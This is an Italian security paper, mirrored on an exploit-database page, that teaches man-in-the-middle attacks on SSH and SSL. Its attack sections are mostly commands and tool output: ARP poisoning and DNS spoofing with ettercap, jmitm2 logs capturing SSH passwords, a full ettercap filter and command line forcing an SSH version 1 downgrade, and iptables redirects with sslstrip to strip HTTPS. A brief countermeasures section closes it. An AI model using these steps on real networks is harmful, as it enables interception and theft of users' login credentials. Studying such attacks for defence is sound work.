- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 13727
- Проверка EDB
-
- Пройдено
- Автор
- SYSLIB
- Тип уязвимости
- PAPERS
- Платформа
- AIX
- CVE
- N/A
- Дата публикации
- 2010-06-03
Код:
###################### [Italian] ##############################################################################
# #
# SSH ed SSL Man In The Middle Attacks #
# #
# [o] Author: Stavro D. Mueller #
###############################################################################################################
[o] Introduzione
[o] Man In The Middle
[o.o] ARP Cache Poisoning Overview
[o] SSH MITM
[o.o] SSH Downgrade
[o] SSL MITM
[o] Contromisure
[o] Note
[o] Introduzione
----------------------------------------------------------------------------------------------------------------------
Molti di noi sono a conoscenza dei pericoli che si insidiano all'interno di una rete aziendale e, piu' in generale,
all'interno di una rete LAN.
Tra i tanti pericoli, sicuramente tutti abbiamo sentito parlare (a volte avuto anche a che fare)
con attacchi di tipo Man In The Middle (mitm).
Ci sono vari modi per prendere le giuste contromisure da questo tipo di attacchi[1], ma supponiamo di
non averne implementata nessuna.
Molti si sentono lo stesso al sicuro, pensando che l'utilizzo di protocolli sicuri quali HTTPS ed SSH
in primis possano proteggere i propri dati; questo e' in parte vero. In parte no.
In questo paper mostreremo come sferrare attacchi mitm ai due protocolli sopra citati: SSL ed SSH, due
protocolli definiti sicuri per eccellenza.
Prima di iniziare, c'e' da dire che effettivamente i protocolli in se' sono sicuri, ma la loro implementazione
ed a volte il fatto di essere implementati a livelli alti della pila ISO/OSI, mostrano il fianco ad
attacchi ai livelli sottostanti, come di fatti e' l'attacco man in the middle.
[o] Man In The Middle
----------------------------------------------------------------------------------------------------------------------
Diamo una piccola rinfrescata ai vecchi ricordi accennando all'attacco Man In The Middle (mitm) e, nel capitolo
successivo, all'attacco ARP Cache Poisoning, benche' ci siano articoli ben piu' approfonditi al riguardo[2].
L'attacco mitm consiste sostanzialmente nel frapporsi tra due interlocutori, sniffandone i pacchetti.
Se il normale flusso di dati sarebbe
Alice <--------------> Bob
lo scopo di un attacco mitm e' quello di avere il seguente flusso
Alice <--------> Darth <----------> Bob
il tutto senza che Alice e Bob si accorgano che tra di loro c'e' Darth che sniffa i loro dati.
Come questo sia tecnicamente possibile lo vedremo nel prossimo paragrafo, l'importante e' tenere
a mente questo piccolo schema e questo semplice concetto, che e' alla base di tutto il paper.
[o.o] ARP Cache Poisoning Overview
--------------------------------------------------------------------------------------------------------------------
La tecnica piu' facile da realizare e la piu' semplice per ottere un effetto mitm e' senza dubbio l'ARP cache
poisoning.
ARP ha il semplice compito di mantenere in una tabella sul nostro PC (ARP cache) tutte le associazioni IP-MAC Address
di tutti i computer raggiungibili dal nostro pc e che si trovano sullo stesso segmento di rete (= LAN).
Normalmente, nella comunicazione tra Alice e Bob si ha una situazione del genere:
Alice Bob
[192.168.1.50] [192.168.1.100]
[MAC: 00:00:00:aa:aa:aa] [MAC: 00:00:00:bb:bb:bb]
ARP cache ARP cache
[192.168.1.100 at 00:00:00:bb:bb:bb] <-----------> [192.168.1.50 at 00:00:00:aa:aa:aa]
Nella ARP cache di Alice c'e' la giusta associazione IP-MAC Address di Bob e la comunicazione avviene
senza problemi.
Vediamo ora nel caso in cui Darth esegua un ARP cache poisoning:
Alice Bob
[192.168.1.50] [192.168.1.100]
[MAC: 00:00:00:aa:aa:aa] [MAC: 00:00:00:bb:bb:bb]
ARP cache poisoned ARP cache poisoned
[192.168.1.100 at 00:00:00:cc:cc:cc] [192.168.1.50 at 00:00:00:cc:cc:cc]
^ ^
| |
| |
| Darth |
+----------------> [192.168.1.200]<-----------------+
[MAC: 00:00:00:cc:cc:cc]
ARP cache
[192.168.1.50 at 00:00:00:aa:aa:aa]
[192.168.1.100 at 00:00:00:bb:bb:bb]
Da notare la nuova associazione IP-MAC Address nella ARP cache di Alice e Bob: Alice ha associato l'IP di
Bob con il MAC Address di Darth e Bob ha associato l'IP di Alice con il MAC Adrress di Darth; siccome una qualsiasi
applicazione continua a parlare con lo stesso IP, quando arriva al layer 2 della pila ISO/OSI, il pacchetto
verra' marcato con il MAC Address sbagliato (quello di Darth invece che Bob) e raggiungera' l'attacker, e lo
stesso avviene per Bob.
Darth, dal canto suo, non deve fare altro che sniffare i pacchetti che transitano sulla sua scheda di rete e,
dopo averli salvati/modificati/letti, li inoltra ai corretti destinatari.
Questa era una spiegazione di massima di come funziona l'ARP cache poisoning: vi consiglio vivamente di dare
uno sguardo all'articolo [2] per capire a fondo come e perche' questo attacco funziona.
Dato ora per scontato che Darth sia riuscito ad eseguire correttamente l'attacco, ora e' in una posizione
favorevole per eseguire qualsiasi operazione sui dati in transito tra i due host.
Per eseguire l'attacco sono disponibili tantissimi tools che trovate qui [3].
[o] SSH MITM
------------------------------------------------------------------------------------------------------------------------
Il nostro scopo, ora, e' sfruttare l'ARP cache poisoning (piu' qualche altra tecnica[4]) per ottenere le
credenziali di accesso di SSH di un determinato server.
Immaginiamo che Alice abbia IP 192.168.1.5 e che tenti di collegarsi ad un server, ssh.fuffa.server con IP 87.20.37.182,
mentre noi attacker avremo IP 192.168.1.2.
Dobbiamo prima di tutto fare in modo che tutto il traffico passi per il nostro PC, eseguiamo quindi il classico
ARP cache poisoning.
Come secondo passo, dobbiamo far puntare ssh.fuffa.server al nostro IP, banale usare un DNS spoofing[4] che non
fara' altro che associare il nome ssh.fuffa.server al nostro IP (192.168.1.2).
Per eseguire questi due attacchi ho usato ettercap[3].
Vediamo una prima connessione al server ssh.fuffa.server da parte della nostra vittima:
Alice@dragon:~$ ssh [email protected]
The authenticity of host 'ssh.fuffa.server (87.20.37.182)' can't be established.
RSA key fingerprint is 27:d0:80:59:67:ea:94:12:10:85:a2:84:f7:39:00:f5.
Are you sure you want to continue connecting (yes/no)? yes
Una volta accettata la chiave, viene salvata e mai piu' richiesto il salvataggio.
Se cercassimo banalmente di eseguire un cambio di chiave(per esempio tramite mitm-ssh), ovvero sottoporre ad Alice una
chiave differente per l'host ssh.fuffa.server, ecco cosa otterremmo sulla macchina di Alice:
Alice@dragon:~$ ssh [email protected]
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: POSSIBLE DNS SPOOFING DETECTED! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
The RSA host key for ssh.fuffa.server has changed,
and the key for the corresponding IP address 192.168.1.2
is unchanged. This could either mean that
DNS SPOOFING is happening or the IP address for the host
and its host key have changed at the same time.
Offending key for IP in /home/Alice/.ssh/known_hosts:4
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that the RSA host key has just been changed.
The fingerprint for the RSA key sent by the remote host is
7d:a1:19:1b:b5:96:cf:87:7c:84:1f:ae:b6:93:14:ad.
Please contact your system administrator.
Add correct host key in /home/Alice/.ssh/known_hosts to get rid of this message.
Offending key in /home/Alice/.ssh/known_hosts:1
RSA host key for ssh.fuffa.server has changed and you have requested strict checking.
Host key verification failed.
Alice@dragon:~$
Il che insospettirebbe chiunque.
Utilizziamo invece un altro strumento, jmitm2[5].
Questo utile strumenti scritto in java (argh) ci permettera' di eseguire un SSH MITM pulito.
Bisogna prima di tutto modificare nel file bin/conf/server.xml i vari parametri come bind address e bind port.
Una volta impostati, bisogna inserire l'IP del server SSH nel file runm.sh e, una volta fatto, farlo partire
(N.B. l'output e' molto prolisso, ho tagliato molte parti e ne ho lasciate solo alcune a scopo informativo)
(N.B.B. e' possibile specificare piu' IP, quindi piu' host da controllare, semplicemente duplicando la riga presente
in runm.sh cambiando l'IP)
[me@gnab gib bin]# ./runm.sh
0 [main] INFO com.sshtools.j2ssh.configuration.ConfigurationLoader - Extension directory not available
9 [main] INFO com.sshtools.j2ssh.configuration.ConfigurationLoader - Loading api configuration from file:/home/stavro/jmitm2-0.1.0/bin/conf/sshtools.xml
151 [main] INFO com.sshtools.j2ssh.configuration.ConfigurationLoader - Loading server configuration from file:/home/stavro/jmitm2-0.1.0/bin/conf/server.xml
191 [main] DEBUG com.sshtools.j2ssh.configuration.ServerConfiguration - ServerHostKey AlgorithmName=ssh-dss PrivateKeyFile=conf/j_server_key
192 [main] DEBUG com.sshtools.j2ssh.configuration.ServerConfiguration - MaxConnections=10
192 [main] DEBUG com.sshtools.j2ssh.configuration.ServerConfiguration - ListenAddress=192.168.1.2
192 [main] DEBUG com.sshtools.j2ssh.configuration.ServerConfiguration - Port=22
193 [main] DEBUG com.sshtools.j2ssh.configuration.ServerConfiguration - CommandPort=10001
200 [main] DEBUG com.sshtools.j2ssh.configuration.ServerConfiguration - TerminalProvider=/bin/bash
200 [main] DEBUG com.sshtools.j2ssh.configuration.ServerConfiguration - AllowedAuthentication=publickey
201 [main] DEBUG com.sshtools.j2ssh.configuration.ServerConfiguration - AllowedAuthentication=password
201 [main] DEBUG com.sshtools.j2ssh.configuration.ServerConfiguration - RequiredAuthentication=password
201 [main] DEBUG com.sshtools.j2ssh.configuration.ServerConfiguration - AuthorizationFile=authorization.xml
201 [main] DEBUG com.sshtools.j2ssh.configuration.ServerConfiguration - UserConfigDirectory=%D\.ssh2
202 [main] INFO com.sshtools.j2ssh.configuration.ConfigurationLoader - Loading platform configuration from file:/home/stavro/jmitm2-0.1.0/bin/conf/platform.xml
224 [main] DEBUG com.sshtools.j2ssh.configuration.PlatformConfiguration - NativeAuthenticationProvider=com.sshtools.j2ssh.platform.MitmFakeAuthenticationProvider
225 [main] INFO com.sshtools.j2ssh.MitmGlue - mitm: MitmGlue starting up
262 [main] INFO com.sshtools.j2ssh.transport.cipher.SshCipherFactory - Loading supported cipher algorithms
280 [main] INFO com.sshtools.j2ssh.transport.kex.SshKeyExchangeFactory - Loading key exchange methods
303 [main] INFO com.sshtools.j2ssh.transport.publickey.SshKeyPairFactory - Loading public key algorithms
333 [main] INFO com.sshtools.j2ssh.transport.compression.SshCompressionFactory - Loading compression methods
337 [main] INFO com.sshtools.j2ssh.transport.hmac.SshHmacFactory - Loading message authentication methods
350 [main] INFO com.sshtools.j2ssh.MitmGlue$MitmGlueConnectionThread - mitm: MitmGlueConnection thread created
373 [main] INFO com.sshtools.j2ssh.authentication.SshAuthenticationClientFactory - Loading supported authentication methods
406 [main] INFO com.sshtools.j2ssh.authentication.SshAuthenticationServerFactory - Loading supported authentication methods
441 [main] DEBUG com.sshtools.j2ssh.MitmServer$MitmConnectionListener - mitm: new MitmConnectionListener created
449 [Connection listener 1] DEBUG com.sshtools.j2ssh.MitmServer$MitmConnectionListener - Starting connection listener thread
11330 [Connection listener 1] DEBUG com.sshtools.j2ssh.MitmServer$MitmConnectionListener - New connection requested
11356 [Connection listener 1] DEBUG com.sshtools.j2ssh.MitmServer$MitmConnectedSession - mitm: new MitmConnectedSession created by com.sshtools.j2ssh.MitmServer$MitmConnectedSession@1df5a8f
11411 [Connection listener 1] INFO com.sshtools.j2ssh.configuration.ConfigurationLoader - Attempting to load j2ssh.properties
11414 [Connection listener 1] INFO com.sshtools.j2ssh.configuration.ConfigurationLoader - Failed to load file from configuration directory, trying SSHTools home
11421 [Connection listener 1] INFO com.sshtools.j2ssh.configuration.ConfigurationLoader - Failed to load file from SSHTools home directory, trying as absolute path
11454 [Connected session 1] DEBUG com.sshtools.j2ssh.MitmServer$MitmConnectedSession - Initializing connection
19629 [Connected session 1] DEBUG com.sshtools.j2ssh.MitmServer$MitmConnectedSession - Remote Hostname: 192.168.1.5
19630 [Connected session 1] DEBUG com.sshtools.j2ssh.MitmServer$MitmConnectedSession - Remote IP: 192.168.1.5
19630 [Connected session 1] DEBUG com.sshtools.j2ssh.MitmServer$MitmConnectedSession - mitm: about to create new MitmAuthentcationProtocolServer
19653 [Connected session 1] DEBUG com.sshtools.j2ssh.authentication.MitmAuthenticationProtocolServer - mitm: new MitmAuthenticationProtocolServer generated
19691 [Connected session 1] DEBUG com.sshtools.j2ssh.MitmServer$MitmConnectedSession - mitm: about to create new MitmSessionChannelFactory
19694 [Connected session 1] DEBUG com.sshtools.j2ssh.session.MitmSessionChannelFactory - mitm: MitmSessionChannelFactory created
27898 [Connected session 1] INFO com.sshtools.j2ssh.MitmServer$MitmConnectionListener - Monitoring active session from 192.168.1.5
27899 [Connected session 1] INFO com.sshtools.j2ssh.transport.TransportProtocolCommon - Starting transport protocol
27902 [Connected session 1] INFO com.sshtools.j2ssh.transport.TransportProtocolCommon - Loading native settings from platform configuration
27904 [Transport protocol 1] INFO com.sshtools.j2ssh.transport.TransportProtocolCommon - Registering transport protocol messages with inputstream
27947 [Transport protocol 1] INFO com.sshtools.j2ssh.transport.TransportProtocolCommon - Negotiating protocol version
27948 [Transport protocol 1] DEBUG com.sshtools.j2ssh.transport.TransportProtocolCommon - Local identification: SSH-2.0-http://www.sshtools.com J2SSH [SERVER]
27952 [Transport protocol 1] DEBUG com.sshtools.j2ssh.transport.TransportProtocolCommon - EOL is guessed at CR+LF
27953 [Transport protocol 1] DEBUG com.sshtools.j2ssh.transport.TransportProtocolCommon - Remote identification: SSH-2.0-OpenSSH_5.1p1 Debian-3ubuntu1
27954 [Transport protocol 1] INFO com.sshtools.j2ssh.transport.TransportProtocolCommon - Protocol negotiation complete
[...] output trimmed [...]
31066 [Transport protocol 1] DEBUG com.sshtools.j2ssh.transport.TransportProtocolCommon - Sending SSH_MSG_SERVICE_ACCEPT
31068 [Transport protocol 1] INFO com.sshtools.j2ssh.transport.Service - Starting ssh-userauth service thread
31070 [Transport protocol 1] DEBUG com.sshtools.j2ssh.transport.TransportProtocolInputStream - Read 40 bytes from socket
31072 [Transport protocol 1] DEBUG com.sshtools.j2ssh.transport.TransportProtocolCommon - Processing SSH_MSG_USERAUTH_REQUEST
31075 [ssh-userauth 1] INFO com.sshtools.j2ssh.transport.Service - ssh-userauth is processing SSH_MSG_USERAUTH_REQUEST
31081 [ssh-userauth 1] DEBUG com.sshtools.j2ssh.authentication.MitmAuthenticationProtocolServer - mitm: MitmAuthenticationProtocolServer.onMessageRecieved(com.sshtools.j2ssh.authentication.SshMsgUserAuthRequest@1d62270)
31083 [ssh-userauth 1] DEBUG com.sshtools.j2ssh.authentication.MitmAuthenticationProtocolServer - mitm: MitmAuthenticationProtocolServer.onMsgUserAuthRequest()
31088 [ssh-userauth 1] DEBUG com.sshtools.j2ssh.transport.TransportProtocolCommon - Sending SSH_MSG_USERAUTH_FAILURE
45863 [Transport protocol 1] DEBUG com.sshtools.j2ssh.transport.TransportProtocolInputStream - Read 120 bytes from socket
45869 [Transport protocol 1] DEBUG com.sshtools.j2ssh.transport.TransportProtocolCommon - Processing SSH_MSG_USERAUTH_REQUEST
45869 [ssh-userauth 1] INFO com.sshtools.j2ssh.transport.Service - ssh-userauth is processing SSH_MSG_USERAUTH_REQUEST
45870 [ssh-userauth 1] DEBUG com.sshtools.j2ssh.authentication.MitmAuthenticationProtocolServer - mitm: MitmAuthenticationProtocolServer.onMessageRecieved(com.sshtools.j2ssh.authentication.SshMsgUserAuthRequest@1113622)
45870 [ssh-userauth 1] DEBUG com.sshtools.j2ssh.authentication.MitmAuthenticationProtocolServer - mitm: MitmAuthenticationProtocolServer.onMsgUserAuthRequest()
45870 [ssh-userauth 1] DEBUG com.sshtools.j2ssh.authentication.MitmAuthenticationProtocolServer - MAprotoServer: about to crate new MAs by calling MASF.newInstance!
45870 [ssh-userauth 1] DEBUG com.sshtools.j2ssh.authentication.MitmAuthenticationServerFactory - mitm: creating new MitmAuthenticationServer
45871 [ssh-userauth 1] DEBUG com.sshtools.j2ssh.authentication.MitmAuthenticationServer - mitm: MitmAuthenticationServer created
45871 [ssh-userauth 1] DEBUG com.sshtools.j2ssh.authentication.MitmAuthenticationServer - mitm: setMigmGlue() called
45871 [ssh-userauth 1] DEBUG com.sshtools.j2ssh.authentication.MitmAuthenticationProtocolServer - mitm: about to authenticate..
45872 [ssh-userauth 1] INFO com.sshtools.j2ssh.authentication.MitmAuthenticationServer - Trying to get instance of authentication provider
@@@@@ ecco le credenziali @@@@@@
45889 [ssh-userauth 1] DEBUG com.sshtools.j2ssh.platform.MitmFakeAuthenticationProvider - mitm: username/password is Alice / sniffit
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
45889 [ssh-userauth 1] DEBUG com.sshtools.j2ssh.platform.MitmFakeAuthenticationProvider - mitm: setCredentials()
45890 [ssh-userauth 1] DEBUG com.sshtools.j2ssh.MitmGlue - mitm: setCredentials() called
45890 [ssh-userauth 1] DEBUG com.sshtools.j2ssh.platform.MitmFakeAuthenticationProvider - mitm: doAuthentication()
45890 [ssh-userauth 1] DEBUG com.sshtools.j2ssh.MitmGlue - mitm: doAuthentication() called, state was 2
45890 [ssh-userauth 1] DEBUG com.sshtools.j2ssh.MitmGlue - mitm: called connect()
45890 [ssh-userauth 1] DEBUG com.sshtools.j2ssh.MitmGlue - mitm: connect(): trying to connect client
[...] output trimmed [...]
Et voila', username e password in chiaro.
Sul PC della nostra vittima possiamo notare:
Alice@dragon:~$ ssh [email protected]
WARNING: RSA key found for host ssh.fuffa.server
in /home/Alice/.ssh/known_hosts:6
RSA key fingerprint 27:d0:80:59:67:ea:94:12:10:85:a2:84:f7:39:00:f5.
+--[ RSA 2048]----+
|oo+=o+o o |
|o.+.o. B |
|oo oE.= . |
|. ++ . |
| .. S . |
| o |
| |
| |
| |
+-----------------+
The authenticity of host 'ssh.fuffa.server (192.168.1.2)' can't be established
but keys of different type are already known for this host.
DSA key fingerprint is d5:8a:ad:bd:85:84:fe:41:32:47:bc:3e:70:ef:f8:21.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'ssh.fuffa.server,192.168.1.2' (DSA) to the list of known hosts.
[email protected]'s password:
Ed ecco che l'utente e' caduto nella nostra trappola.
Semplicemente: jmitm2 si e' messo in ascolto sulla porta 22 per nuove connessioni.
Volendo sniffare le credenziali di Alice al server ssh.fuffa.server, abbiamo eseguito un DNS spoofing: quando Alice
prova a contattare il server, rispondiamo noi.
Messo a punto lo scenario, Alice tentera' di collegarsi alla porta 22 del server e, invece che rispondere
direttamente lui, rispondera' jmitm2 che provvedera' a scambiare le chiavi tra tutti gli host in gioco,
sottoponendo una chiave di tipo diverso ad Alice (DSA invece che RSA) chiedendo di accettare la nostra di chiave.
Alice, accettando, salva ed usa la nostra chiave e jmitm2 ha svolto il suo lavoro: d'ora in poi dovra' solo inoltrare
i pacchetti dal server ad Alice e viceversa, loggando tutto.
N.B. Si e' dato per scontato che la porta SSH di ssh.fuffa.server sia 22, nel caso bisogna selezionare la giusta
porta.
N.B.B. Questo tipo di attacco non e' possibile su server SSH locali poiche' quando avviene l'invio del certificato
fasullo, SSH mostra quel messaggio d'errore: stiamo infatti ponendo un secondo certificato diverso per lo stesso host
di destinazione. In pratica, SSH vede che allo stesso IP corrispondono due certificati, restando in allerta. Quello che
facciamo noi, invece, e' cambiare l'IP del server aggirando il controllo, lasciando il nome host uguale.
N.B.M.D.B. Questo attacco ha un piccolo difetto: quando viene sottoposta la nuova chiave ad Alice, potete notare la
prima riga dopo l'image fingerprint:
The authenticity of host 'ssh.fuffa.server (192.168.1.2)' can't be established
come potete notare, l'IP in parentesi non e' quello di ssh.fuffa.server ma quello dell'attaccante.
Una persona scaltra potrebbe notarlo e non accettare la richiesta e/o avvertire chi di competenza.
[o.o] SSH Downgrade
----------------------------------------------------------------------------------------------------------------
L'attacco denominato SSH Downgrade si basa sul principio che la versione 1 di SSH e' vulnerabile nel CRC32
compensation attack detector[6] che permette di eseguire comandi remoti e leggere aree di memoria arbitrarie.
Sfruttando la nostra posizione favorevole nella rete, possiamo avvalerci di questa vulnerabilita' per sottrarre
le credenziali d'accesso a noi tanto care.
Ovviamente, per eseguire questo attacco e' necessario che il server SSH supporti la versione 1, che e' disabilitata
di default su tutte le nuove installazione di SSHd.
Per verificare se il server supporta la versione 1 di SSH, basta verificarne il banner come segue:
[me@gnab gib]$ telnet 192.168.1.8 22
Trying 192.168.1.8...
Connected to 192.168.1.8.
Escape character is '^]'.
SSH-1.99-OpenSSH_5.3
Protocol mismatch.
Connection closed by foreign host.
[me@gnab gib]$
Come possiamo vedere, il banner indica SSH-1.99, questo vuol dire che il server supporta sia la versione 1 che 2 di
SSH. Se avessimo ottenuto SSH-2.0, allora il server supporta solo la versione 2, mentre SSH-1.51 indica il solo
supporto alla versione 1.
In questo scenario il server SSH ha IP 192.168.1.8 mentre Alice ha sempre IP 192.168.1.5.
Verificato (o non), possiamo partire con l'attacco: per farlo ci avvaleremo di ettercap[3].
Per eseguire l'SSH downgrade con ettercap e' necessario un filtro; il programma ne ha gia' uno:
[root@gnab gib ~]# cat /usr/share/ettercap/etter.filter.ssh
############################################################################
# #
# ettercap -- etter.filter -- filter source file #
# #
# Copyright (C) ALoR & NaGA #
# #
# This program is free software; you can redistribute it and/or modify #
# it under the terms of the GNU General Public License as published by #
# the Free Software Foundation; either version 2 of the License, or #
# (at your option) any later version. #
# #
############################################################################
##
#
# This filter will substitute the SSH server response from SSH-1.99 to
# SSH-1.51, so if the server supports both ssh1 and ssh2 we will force
# it to use ssh1... ;)
# server response : SSH-2.00 only ssh2 supported
# SSH-1.99 both ssh1 and ssh2 supported
# SSH-1.51 only ssh1 supported
##
if (ip.proto == TCP) {
if (tcp.src == 22) {
if ( replace("SSH-1.99", "SSH-1.51") ) {
msg("[SSH Filter] SSH downgraded from version 2 to 1\n");
} else {
if ( search(DATA.data, "SSH-2.00") ) {
msg("[SSH Filter] Server supports only SSH version 2\n");
} else {
if ( search(DATA.data, "SSH-1.51") ) {
msg("[SSH Filter] Server already supports only version 1\n");
}
}
}
}
}
[root@gnab gib ~]#
Notiamo quanto detto: se nel payload del pacchetto TCP proveniente dalla porta 22 (nel caso di porta differente dovete
cambiare il valore) viene riscontrato il banner SSH-1.99, questo viene sostituito con SSH-1.51: in questo modo
facciamo credere ad Alice che il server supporta SOLO la versione 1, forzando il client ssh ad instaurare una
connessione via SSH 1, rendendo facile lo sniffing delle credenziali.
Iniziamo la procedura d'attacco compilando il filtro:
[root@gnab gib ~]# etterfilter etter.filter.ssh -o ssh_downgrade
Dopo di che facciamo partire ettercap:
[root@gnab gib ~]# ettercap -Tq -F /usr/share/ettercap/ssh_downgrade -M arp /192.168.1.8/ /192.168.1.5/
ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA
Content filters loaded from /usr/share/ettercap/ssh_downgrade...
Listening on eth0... (Ethernet)
eth0 -> 00:0A:E4:59:87:7E 192.168.1.2 255.255.255.0
SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Privileges dropped to UID 65534 GID 65534...
28 plugins
39 protocol dissectors
53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services
Scanning for merged targets (2 hosts)...
* |==================================================>| 100.00 %
2 hosts added to the hosts list...
ARP poisoning victims:
GROUP 1 : 192.168.1.8 00:40:F4:A9:ED:6A
GROUP 2 : 192.168.1.5 00:16:CE:61:62:43
Starting Unified sniffing...
Text only Interface activated...
Hit 'h' for inline help
Lato client, Alice prova a collegarsi al server:
[Alice@dragon ~]$ ssh [email protected]
WARNING: RSA key found for host server
in /home/stavro/.ssh/known_hosts:1
RSA key fingerprint c4:73:06:7f:32:65:59:f0:73:14:ee:e1:31:26:d1:25.
+--[ RSA 2048]----+
| . +=E.=|
| . o o..o+ |
| + * ..o*.|
| . + + =o+|
| S o |
| |
| |
| |
| |
+-----------------+
The authenticity of host '192.168.1.8 (192.168.1.8)' can't be established
but keys of different type are already known for this host.
RSA1 key fingerprint is 7e:50:5c:52:ba:bc:75:87:24:51:a8:d3:6b:45:82:e2.
Are you sure you want to continue connecting (yes/no)? yes
Et voila', in ettercap avremo:
[SSH Filter] SSH downgraded from 2 to 1
SSH: 192.168.1.8:22 -> USER: Alice PASS: trytosniffit
[o] SSL MITM
--------------------------------------------------------------------------------------------------------------------
Abbiamo appena portato con successo due attacchi ad SSH. Ora bisogna vedere come sfruttare il nostro mitm per colpire
SSL, tanto caro alle transazioni bancarie (ed ai social network ;).
Anche in questo caso useremo ettercap, fedele aiuto e strumento prezioso.
Bisogna prima di tutto droppare i privilegi di ettercap a root impostando ec_uid ed ec_gid a 0; poi bisogna
decommentare le regole del firewall in etter.conf (nel mio caso, GNU/Linux con iptables):
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
Dopo di che possiamo subito far partire il nostro attacco:
[root@gnab gib ~]# ettercap -Tq -M arp /192.168.1.5/ //
ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA
Listening on eth0... (Ethernet)
eth0 -> 00:0A:E4:59:87:7E 192.168.1.2 255.255.255.0
Privileges dropped to UID 0 GID 0...
28 plugins
39 protocol dissectors
53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services
Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
* |==================================================>| 100.00 %
5 hosts added to the hosts list...
ARP poisoning victims:
GROUP 1 : 192.168.1.5 00:16:CE:61:62:43
GROUP 2 : ANY (all the hosts in the list)
Starting Unified sniffing...
Text only Interface activated...
Hit 'h' for inline help
Possiamo vedere anche lo stato di iptables:
[root@gnab gib ~]# iptables -t nat -L
Chain PREROUTING (policy ACCEPT)
target prot opt source destination
REDIRECT tcp -- anywhere anywhere tcp dpt:https redir ports 59264
REDIRECT tcp -- anywhere anywhere tcp dpt:imaps redir ports 59265
REDIRECT tcp -- anywhere anywhere tcp dpt:ircs redir ports 59266
REDIRECT tcp -- anywhere anywhere tcp dpt:ldaps redir ports 59267
REDIRECT tcp -- anywhere anywhere tcp dpt:nntps redir ports 59268
REDIRECT tcp -- anywhere anywhere tcp dpt:pop3s redir ports 59269
REDIRECT tcp -- anywhere anywhere tcp dpt:ssmtp redir ports 59270
REDIRECT tcp -- anywhere anywhere tcp dpt:telnets redir ports 59271
REDIRECT tcp -- anywhere anywhere tcp dpt:webcache redir ports 59263
Chain POSTROUTING (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
Al visitare una pagina che richiede autenticazione SSL, a seconda del browser usato da Alice, verra' mostrata una
finestra che indica la non genuinita' del certificato sottoposto e verra' chiesto cosa fare.
Poiche' molti siti hanno certificati scaduti o non validi, e poiche' capita che anche i browser ci mettano del loro,
in questo caso la vulnerabilita' sfruttata e' nell'uomo che, non curante, accetta il certificato, procedendo al login.
A questo punto il nostro ettercap ha svolto il suo lavoro:
HTTP : 209.85.129.99:443 -> USER: antani PASS: st0c4zz0 INFO: https://www.google.com/accounts/ServiceLogin?service=mail&
passive=true&rm=false&continue=http://mail.google.com/mail/?ui=html&zy=l&....
C'e' pero' una problematica: ettercap effettua sostanzialmente uno switch di certificati: genera al volo un certificato
SSL del tutto identico a quello originale, tranne ovviamente il fingerprint e l'assenza di issuer validi (da qui il messaggio d'errore dei browser).
Esiste una tecnica molto interessante che permette di eseguire un attacco SSL MITM senza usare i certificati, ma che non funziona in ogni situazione: eseguire il redirect del traffico HTTPS su HTTP "eliminando" SSL, il tutto in maniera trasparente all'utente che non si accorgerebbe della mancanza di SSL.
Per fare questo possiamo utilizzare sia ettercap che barpo. Prenderemo in considerazione barpo.
Per prima cosa, effettuiamo un ARP Cache poisoning della nostra vittima 192.168.1.5 verso il gateway 192.168.1.1:
[root@gnab gib ~]# bash barpo.sh -h 192.168.1.5 -g 192.168.1.1
...
Fatto questo dobbiamo prima impostare il redirect di tutto il traffico HTTP sulla porta d'ascolto di sslstrip (di default e' la 10000) in maniera esplicita:
[root@gnab gib ~]# iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port <porta-sslstrip>
A questo punto, possiamo lanciare sslstrip[7]:
[root@gnab gib ~]# sslstrip -f -s -w logfile
Una delle cose interessanti di sslstrip e' che con l'opzione -f permette di visualizzare, sul browser della vittima, la favicon del lucchetto chiuso, utilizzata a volte come simbolo per indiricare una connesione sicura.
Nel browser della vittima, quando tenteremo di collegarci ad un sito che fa uso di HTTPS, invece di avere un URL del tipo https://www.sitosicuro.com, avremo http://www.sitosicuro.com.
Come detto, questo non puo' funzionare sempre poiche' non tutti i siti che utlizzano HTTPS permettono del traffico in chiaro sulle pagine
protette da SSL.
All'interno di logfile, possiamo trovare le credenziali di nostro interesse.
[o] Contromisure
----------------------------------------------------------------------------------------------------------------------
In principio, era l'ARP cache poisoning. Se si riesce ad evitare questo attacco, si e' fatto (quasi) tutto il lavoro.
Poiche' non e' facile, si puo' comunque mitigare l'impatto di tutti questi attacchi.
Soluzioni a livello di rete globali non sono ancora attuabili poiche' difficili da gestire e mantenere; una buona soluzione viene da ArpON[8], anche se soffre di qualche bug, ma installato sulle singole macchine puo' dare un forte aiuto.
Per quanto riguarda l'attacco ad SSH2, c'e' da non fidarsi delle chiavi. Qual'ora venga presentato l'output sopra
indicato, sarebbe buona norma fermarsi e contattare l'amministratore del server il quale potrebbe darvi il via libera
(magari un cambio chiavi programmato) o fare indagini piu' accurate.
L'SSH downgrade e' senza dubbio il piu' facile da debellare: basta disattivare il supporto ad SSH1.
Per l'attacco ad SSL, ogni persona dovrebbe essere educata a diffidare di errori simili: nonostante siano frequenti i
falsi negativi, c'era un bel detto: "fidarsi e' bene, non fidarsi e' meglio".
